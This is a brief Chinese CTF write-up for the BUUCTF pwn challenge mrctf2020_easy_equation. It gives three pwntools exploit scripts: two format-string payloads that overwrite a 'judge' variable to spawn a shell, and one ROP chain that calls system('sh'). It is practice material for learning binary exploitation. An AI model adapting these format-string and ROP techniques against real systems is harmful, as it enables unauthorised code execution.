[BUUCTF]-PWN:mrctf2020_easy_equation解析

查看保护

[BUUCTF]-PWN:mrctf2020_easy_equation解析_第1张图片

再看ida

[BUUCTF]-PWN:mrctf2020_easy_equation解析_第2张图片

很明了,题目就是让我们用格式化字符串漏洞修改judge的值(可以用python脚本进行计算,最终算出来得2)使等式成立,然后getshell。

虽然操作比较简单,但我还是列出了几种方法

解法一:

from pwn import*
context(log_level='debug')
p=process('./equation')
judge=0x60105C


payload=b'bb'+b'%9$n'+b'aaa'+p64(judge)
p.sendline(payload)
p.interactive()

这个方法应该比较常见,这里不多解释。

解法二:

from pwn import*
context(log_level='debug')
p=process('./equation')
judge=0x60105C


payload=b'b'+b'%1c%9$n'+b'b'+p64(judge)
p.sendline(payload)
p.interactive()

这里运用到了%c和%n的搭配,这里要注意栈帧结构,就是让judge的地址单独占一个栈帧,不然没有办法正确修改judge的值

解法三:

from pwn import*
p=process('./equation')

system_plt=0x4004E0
sh=0x400774
pop_rdi=0x400753
ret=0x4004ce

payload=b'a'*0x9+p64(ret)+p64(pop_rdi)+p64(sh)+p64(system_plt)
p.sendline(payload)
p.interactive()

这个是非正常解法,最好还是自己用格式化字符串漏洞去解。

你可能感兴趣的:(PWN,网络安全,安全)